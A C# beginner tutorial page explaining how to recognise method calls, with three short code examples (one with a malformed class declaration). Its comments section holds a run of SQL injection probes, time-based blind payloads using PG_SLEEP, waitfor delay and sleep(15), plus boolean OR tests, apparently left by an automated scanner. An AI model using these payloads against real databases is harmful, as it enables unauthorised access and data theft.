How do you recognize a method call in C#?

Experience Level: Junior
Tags: C#

Answer

In C# there are several ways how to call a method. Both ways have one thing in common. You can always see a name of the methd and opening and closing rounded brackets following the name.

If there is a dot or space before the method name and there isn't a data type before it, it is a method call.

Let's have a look at couple of examples.

The first way how you can call a method is to call one method from another method where both methods are defined within the same class.

In the example below, if someone calls the method TurnOn(), the method TurnOff() will automatically be called by the method TurnOn().

So whenever someone turns the radio on, it will automatically turn itself off. Yeah, it's a bit useless radio this way, right? But at least it does something.

Example
public class Radio()
{
  public void TurnOn()
  {
    TurnOff();
  }
  
  public void TurnOff()
  {
    // Some code here
  }
}

The second way is when you call one method from another method where each method is defined within a different class and the called method is called on an instance of a class.

In the example below, when the Program is executed and the method Main is called, the new radio object is created and then the metod TurnOn()
is called on this newly created object.

Example
public class Program
{
  public static void Main()
  {
    var myRadio = new Radio();
	myRadio.TurnOn();
  }
}

public class Radio
{
  public void TurnOn()
  {
    // Some code here
  }
  
  void TurnOff() {
    // Some code here
  }  
}

The third way way how to call a method is to call one method from another method where each method is defined within a different class and the called method is called directly on a class without an instance of an object to be created.

Such method must be marked by the keyword 'static'.

In the example below, not that when we are calling the method PrintHello(), there is no instance of class Printer created.

We are calling the method directly on a class Printer.
 

Example
public class Program
{
  public static void Main()
  {
    Printer.PrintHello();
  }
}

public class Printer
{
  public static void PrintHello()
  {
    //
  }
}

Comments

No Comments Yet.
Be the first to tell us what you think.
C# for beginners
C# for beginners

Are you learning C# ? Try our test we designed to help you progress faster.

Test yourself

Chat

Oh, the operator is not available. Leave us your comments. We will answer all your questions as soon as possible.

Comments

RiceHawk18
e
RiceHawk18
@@xeDO0
RiceHawk18
1'"
RiceHawk18
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
RiceHawk18
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
RiceHawk18
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
RiceHawk18
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
RiceHawk18
VTgcz37T'; waitfor delay '0:0:15' --
RiceHawk18
1 waitfor delay '0:0:15' --
RiceHawk18
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
RiceHawk18
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
RiceHawk18
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
RiceHawk18
if(now()=sysdate(),sleep(15),0)
RiceHawk18
-1" OR 3+906-906-1=0+0+0+1 --
RiceHawk18
-1" OR 2+906-906-1=0+0+0+1 --
RiceHawk18
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 3+137-137-1=0+0+0+1 --
RiceHawk18
-1' OR 2+137-137-1=0+0+0+1 --
RiceHawk18
-1 OR 3+877-877-1=0+0+0+1
RiceHawk18
-1 OR 2+877-877-1=0+0+0+1
RiceHawk18
-1 OR 3+418-418-1=0+0+0+1 --
RiceHawk18
-1 OR 2+418-418-1=0+0+0+1 --
RiceHawk18
e
RiceHawk18
e